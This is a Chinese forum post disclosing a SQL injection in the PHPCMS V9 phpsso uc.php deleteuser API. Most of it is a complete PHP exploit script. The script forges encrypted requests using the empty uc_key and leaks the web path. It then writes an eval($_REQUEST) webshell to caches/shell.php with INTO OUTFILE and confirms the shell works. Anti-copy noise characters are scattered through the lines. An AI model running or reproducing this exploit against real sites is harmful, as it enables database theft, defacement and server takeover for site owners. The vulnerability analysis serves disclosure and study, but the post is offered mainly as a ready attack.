找回密码
 立即注册
查看: 2309|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
3 E: N6 ^0 }, U
; K: `6 Z) ]* ]4 b; x所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。+ C  K7 d2 j, Z$ f0 T/ i+ {# }
! U, C+ W. ?$ Z- [; ~
漏洞分析:
4 ^6 O; a3 N' |: b2 ]; ?) a, P1.未启用ucenter服务的情况下uc_key为空
4 ^9 Z" ]; _" q% adefine('UC_KEY', pc_base::load_config('system', 'uc_key'));7 z7 G) M' o" m; m# ]
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。* j2 c4 l: G9 T9 O, U  O
    public function deleteuser($get,$post) {+ v  l8 r$ w# J1 I/ y1 r5 y
        pc_base::load_app_func('global', 'admin');
( C+ Y1 R6 Q+ Y$ v2 d# V3 g        pc_base::load_app_class('messagequeue', 'admin' , 0);; x4 X+ E1 S( t5 j$ K6 \- x
        $ids = new_stripslashes($get['ids']);8 ?. U5 S' T4 r' M
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");1 Z8 b2 C, \" e# Z8 L' Y' A' @4 L" @& }) V
SQL语句为
' a" g' J6 X5 U) p( ISELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
7 U1 V, G7 X' Y+ i# {  M: x! n; e8 R8 W& A$ W! G, {" `
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell# Y7 o$ S+ ^! O; X& W7 m  \5 C) \8 U8 x) c
<?php. ?  }8 h9 ?+ U; X& l4 s% F
print_r('
& a. E$ m. e3 }# {---------------------------------------------------------------------------5 V, k: E" W8 j7 e3 S: C7 t
PHPcms (v9 or Old Version) uc api sql injection 0day$ v0 c9 m( ]  _3 O7 V
by rayh4c#80sec.com6 H/ ]3 E8 ~' h
---------------------------------------------------------------------------* O$ g. r9 m$ @3 E. T2 j8 F' \
');
! T6 I; q' G: |6 w% G) g
* k5 Z- G+ b4 H. Vif ($argc<3) {7 ~' h1 @; k+ H* n$ K/ r
    print_r('
3 j$ K# G/ h  v; I3 Y. a3 z---------------------------------------------------------------------------4 R9 ~9 J( u$ a0 t1 V
Usage: php '.$argv[0].' host path OPTIONS
. p7 h7 G: N7 m# Rhost:      target server (ip/hostname)8 E2 ^; K) W4 M6 t
path:      path to phpcms
. ^  D* H; N2 v4 T: ~Options:
! ~# c  g& Y* }+ X -p[port]:    specify a port other than 80# I/ l6 W0 r! r* D# X5 E, ^
-P[ip:port]: specify a proxy  ?+ L, }6 c! E$ n7 l7 X% X
Example:
! I# K0 N  o, yphp '.$argv[0].' localhost /2 t- \1 x& v9 r, z6 n$ t; L) ]8 _1 h0 Y
php '.$argv[0].' localhost /phpcms/ -p81
& P: f8 m- e) `3 d) S5 cphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:807 J* z3 A3 S3 a% l$ H7 D4 `9 e
---------------------------------------------------------------------------% E% @+ i- e# ]% }
');
1 l/ b, r1 M0 C' }! ~    die;$ H1 n4 [) T7 p% U
}9 l; K' z" y& R3 \

, N3 I0 X( u4 w3 z  l5 Q0 B% n5 ]error_reporting(7);" x& K. b+ r4 \! z# x: V
ini_set("max_execution_time",0);
5 A; A' l3 s, z9 j  f! eini_set("default_socket_timeout",5);
3 S# ?3 {6 x% I( p, `+ t6 v1 n+ a' P* G4 F) M
function quick_dump($string)) p9 N6 R9 V3 Y5 ?% h
{6 I) U4 p* Q# T5 l% q
  $result='';$exa='';$cont=0;# c2 B: @- ^% E+ v' _
  for ($i=0; $i<=strlen($string)-1; $i++)
1 H, b! _$ x+ w/ w7 z  {$ B# j2 B3 _& D6 j% o5 h1 I6 B
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))1 z' m# b* s+ f0 O4 i) G8 n7 p
   {$result.="  .";}0 G0 v* L7 |5 c$ A5 U/ [
   else
6 b8 a9 Z( K2 Y   {$result.="  ".$string[$i];}
: L4 R+ _% }" a   if (strlen(dechex(ord($string[$i])))==2)
$ _! P, K& T2 y% J7 r# p% J, s   {$exa.=" ".dechex(ord($string[$i]));}
; O! Y: u* v" P6 m+ p5 U   else
( g1 g" v, ^' u. B' [8 K4 u   {$exa.=" 0".dechex(ord($string[$i]));}
; R( i$ O( ^: W" K% J$ i   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
$ ?5 x% a% Y1 N# J, @. J5 u  }
' X) |5 W( W; F. ?& N* u) m+ q return $exa."\r\n".$result;
" W9 a" [8 G- ?2 X2 S$ p}: M3 N4 q' O, `& Z+ Z+ c
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';+ i% |; H8 v  R/ t
/ j: ~, c, W! `- F$ r
function send($packet)3 A: u* ^7 r- g! L) ?! r9 _: w" Z
{
/ C" ]( V/ q5 a7 k  global $proxy, $host, $port, $html, $proxy_regex;5 o8 N. W( v  K& w. N* d
  if ($proxy=='') {2 O6 [5 }+ F3 Y% E  @1 ]
    $ock=fsockopen(gethostbyname($host),$port);
! c  E* z' P6 U8 w    if (!$ock) {
1 v) h$ N! x# v9 z1 ]: O# i: o+ `      echo 'No response from '.$host.':'.$port; die;  e8 @* x4 ]) V2 l4 Y. g
    }6 Q3 ?* T3 U0 x& G1 i
  }. K) c* J, z7 D+ ~. E0 b2 X
  else {
& `" l0 Q! y9 W6 s% v" O        $c = preg_match($proxy_regex,$proxy);$ s1 @0 n6 o+ }
    if (!$c) {! d0 J8 u) D' T
      echo 'Not a valid proxy...';die;
& s8 j- W) c. s: x9 E7 O    }( J2 S7 j; e& ^- K# K9 _$ \
    $parts=explode(':',$proxy);+ S5 F7 }- Z3 o- I4 X
    $parts[1]=(int)$parts[1];
) r$ Z6 z' {# j/ V$ s& \    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
" [: [5 q9 A' f. B+ R! V' Y    $ock=fsockopen($parts[0],$parts[1]);1 e2 j5 A$ t' k* J: Y3 i* S. r* }
    if (!$ock) {# p5 `1 d( C& k
      echo 'No response from proxy...';die;/ N8 g' A8 r% x# I3 E
        }% r3 K  u$ r! W5 q; [
  }* A; L' ?1 t6 j- U& O
  fputs($ock,$packet);
* O+ q" i0 j- `1 e+ {- v. L  if ($proxy=='') {% U4 G( k8 J/ N/ S# X
    $html='';
8 E: D( o) C; r) G5 N    while (!feof($ock)) {/ \/ X; I% J7 ~$ K) n- i7 V3 ?
      $html.=fgets($ock);
& x$ o& @9 o$ o    }$ S. z# C- X& B# _, {
  }
8 K& B4 ~/ v  {2 t; g. J4 B  else {' u1 T' D2 B9 v8 B& Z
    $html='';
2 [# w8 i' P# D. [) J1 V1 w    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {/ N; b! j+ ^/ A* H3 P* d2 h$ P
      $html.=fread($ock,1);. m+ T( {& \: R% W- z
    }4 d! f/ Q7 X+ L  d. q, I) t* z
  }! {3 f9 w# m8 d; a
  fclose($ock);( z7 \, `. k. j& _7 u
}( _0 X- q. U4 I8 V# z

" F8 d* b) d; P2 L2 ?6 a$host=$argv[1];! Y! Y2 g9 l5 x* q7 t' f% y
$path=$argv[2];
* Y- `+ R- Q9 h! W2 t$port=80;+ [) b$ {$ y6 Q; ~4 A1 H
$proxy="";1 s' U/ x! V0 y$ S/ Y3 K8 I- C
for ($i=3; $i<$argc; $i++){
8 u2 w6 o5 f- n8 v$temp=$argv[$i][0].$argv[$i][1];: s$ C& m9 }5 `* o/ o
if ($temp=="-p")- r) S% ^0 k( T& Q: [
{$ h; X5 \& I* D; e) A7 f% M
  $port=(int)str_replace("-p","",$argv[$i]);9 W$ D  n" J, ~& Y+ H9 t/ _/ A
}3 @4 g) n" V# R9 N+ D) e
if ($temp=="-P")6 t9 v# Q$ M7 {1 [# D9 H6 D& k0 m
{
( X( C# O7 j" w' v9 `+ M$ s; b( G  $proxy=str_replace("-P","",$argv[$i]);
& |6 X4 J* L; u3 O}
& U% m1 e0 i2 d& X}
( l* [( p+ @# C  p  I8 K
+ k- N) [4 a5 o8 M  s( [4 h& Dif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}) A7 h, ~+ w' y; h. P/ b4 w
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}5 W1 i0 l' ~! X/ k' c% k  w

! I' K! R" L5 I& Q4 H3 D0 X# h  bfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
+ Q9 o( ~/ I0 r2 g: {, K
" j2 H0 O9 g- w$ z5 D& B4 r    $ckey_length = 4;
# N  c% b' k. F8 X# L" z4 q0 ^) G: L( u$ ~6 t2 L2 b, v, B4 A
    $key = md5($key ? $key : '');. q) K$ I8 i2 B2 X! o; y
    $keya = md5(substr($key, 0, 16));* T: {; }4 ^# h: a/ t, c
    $keyb = md5(substr($key, 16, 16));
$ `* L9 q  n6 p- e$ v  A# d+ Z    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
* T7 B: u" b. p, w$ ]# R; q8 F- I* g2 ^) Y6 H# l& E% Q' u
    $cryptkey = $keya.md5($keya.$keyc);
8 A  \) ~4 N: [! E9 U+ ?    $key_length = strlen($cryptkey);3 Y* p1 ~) P9 E3 h  p7 ^
: ^! L1 @  e2 B' Z
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;: g8 L; A6 u8 \9 d
    $string_length = strlen($string);
/ [0 c! w( B5 C2 X# J6 h2 N7 u8 Z5 i2 Q1 k! v  p3 |
    $result = '';
2 C) H& w( w% h% [" i    $box = range(0, 255);
% z4 Z# X6 D4 g: ?
6 ~  P2 s3 n' v    $rndkey = array();4 R- W9 u6 \5 U% ^; O7 F
    for($i = 0; $i <= 255; $i++) {6 t: _' Q7 E% m, m# i- R
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);: g/ ^, v/ J/ V9 n3 Q" A
    }
/ A! D9 C  o4 |( T! ^6 p3 z+ f3 G2 t3 t3 [
    for($j = $i = 0; $i < 256; $i++) {8 P* e0 J! O' w4 X# k
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;2 Z9 ?# E: c) w1 e
        $tmp = $box[$i];
6 k1 {# g5 }0 [  \) U0 E' r& M        $box[$i] = $box[$j];1 W$ i6 r- Z, s
        $box[$j] = $tmp;5 N: V2 L& M  j! M. C
    }  Y) \: C9 j$ G- r  R

! L( I  _: x5 h& S) R: u2 U; i    for($a = $j = $i = 0; $i < $string_length; $i++) {
4 n6 ]: y0 ~7 ?8 k" D+ _) ^        $a = ($a + 1) % 256;7 W8 a' ~. h& ]. t" e
        $j = ($j + $box[$a]) % 256;( p" C( F: r* q7 s
        $tmp = $box[$a];4 `, p2 I* ]' m8 O0 E
        $box[$a] = $box[$j];6 K. ?: f- B- u2 \$ G5 ~  H: _* u7 k
        $box[$j] = $tmp;
% Q& R6 h- b3 I" ~" h/ t6 f        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: e; _! O7 |3 m  s$ J0 F1 }% s$ Q    }
; Z! ^$ D7 n) v, {! _
$ {- @! P5 U6 v' X1 u    if($operation == 'DECODE') {1 e& q9 }* ^3 e; P0 X) Y' c. k$ ^
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
* i7 u6 |2 t) y! X2 d9 M            return substr($result, 26);
! E* M) u; O3 q1 m; g        } else {9 x+ e! N, N$ n" S$ J
            return '';
) o5 o( P& E3 Z        }0 i6 ^* U1 G$ h: j
    } else {( V; t+ e  f6 p9 p! o
        return $keyc.str_replace('=', '', base64_encode($result));% _+ F# R" @$ h4 @& c
    }
( `; y6 |0 n3 N* `1 R' B+ b8 d9 t, K* T% `
}
# f3 [1 k& K3 t5 y9 @8 ]
4 A1 w% b8 d8 K+ ^& N9 i$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
6 p1 a! u4 q, i9 S$SQL = urlencode(authcode($SQL, "ENCODE", ""));
* C# Y1 X4 a/ L7 g) Wecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 `& ^0 }/ a* e2 L' X, U9 |) p1 y
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! c( Y; N( t0 H; P; w' G$packet.="User-Agent: Mozilla/5.0\r\n";8 ]" E( I# v) d" w
$packet.="Host: ".$host."\r\n";
2 u+ Y9 k+ E4 S* n, P2 k$packet.="Connection: Close\r\n\r\n";; Q, d. b# t- y- J- L
send($packet);
- L; |2 N/ D  A; eif(strpos($html,"MySQL Errno") > 0){8 m. Y7 r& S: a$ e
echo "[2] 发现存在SQL注入漏洞"."\n";; x) |9 S0 @7 r
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
, [5 Y# X0 w6 Q$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";) I7 \- ?# c- t1 `* O& Y/ [
$packet.="User-Agent: Mozilla/5.0\r\n";8 M# F  B) c6 Q& A# F  ]% T
$packet.="Host: ".$host."\r\n";
; m- Z% I, f3 a0 f2 b/ C$packet.="Connection: Close\r\n\r\n";( k- Z3 ]* |: ^: N5 W5 r
send($packet);: h/ L1 |' r( ]
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
: d( Y, t. Z+ U4 A2 E* Y9 L//print_r($matches);
8 \( ^* r& C  e- {# ]if(!empty($matches)){- N  |  K' h4 X. c2 F
echo "[4] 得到web路径 " . $matches[0]."\n";4 [  P9 G% J- s- K  ~% T6 a1 d
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";* {) y$ l7 _# _( O: C7 ^+ i
$SQL = "time=999999999999999999999999&ids=1)";' T$ w5 O, a1 x, I, ^' ?$ I2 D. Y
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";/ h2 w$ A" U0 o, H6 F
$SQL.="&action=deleteuser";& w2 N8 p9 g9 P7 Z- G& P
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
$ k' G4 z" F& K) B+ u3 Q) @echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";  e8 L0 M4 @3 c5 |7 |! C
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ Y) q8 f5 Q$ ?. e1 J# N4 x" Y$packet.="User-Agent: Mozilla/5.0\r\n";# Z( C6 N0 X, M# p
$packet.="Host: ".$host."\r\n";
+ w! ~* a# h) k" G# a7 G& @$packet.="Connection: Close\r\n\r\n";
8 R2 u8 ?( N% R/ U7 V. C2 K# g$ nsend($packet);' Q7 @. p0 m( `; g) l/ }9 l# \
if(strpos($html,"Access denied") > 0){: C; d5 _3 A. D/ l2 g5 _5 l
echo "[-] MYSQL权限过低 禁止写入文件 ";" s) L& `( w1 d
die;0 A+ ^6 T* f+ \( ~5 m! j
}
, x" `% I( X# f7 `* _  b" becho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";$ H; d1 K' T$ H$ |% {. o( s5 I& ~
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";7 g* ?1 |8 O) v
$packet.="User-Agent: Mozilla/5.0\r\n";* V# K5 b8 L  l; m
$packet.="Host: ".$host."\r\n";; d$ M  f& U. M# ^0 Q
$packet.="Connection: Close\r\n\r\n";
2 p, H) X8 l0 Isend($packet);! @1 a0 H7 s7 c/ ~6 A
if(strpos($html,"<title>phpinfo()</title>") > 0){
% |7 f8 ]$ x# @5 Xecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
" P% |% N! F( x0 T, |: d: @}
3 \+ ?# H) J! S0 v1 V}else{
2 D1 ~1 v- q1 z! Hecho "[-]未取到web路径 ";
1 t, s8 H+ Q) i6 C}
+ `* Y  ?4 v  O, j$ J}else{7 U  y( y) V8 |) p$ \
echo "[*]不存在SQL注入漏洞"."\n";  A% R6 O, T( A+ U; g+ R1 o
}: N4 R& v1 F( g* V5 Z
# v* D+ \$ b+ K- E
?>
$ j5 n; N, K0 c  o5 O2 F/ E. {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表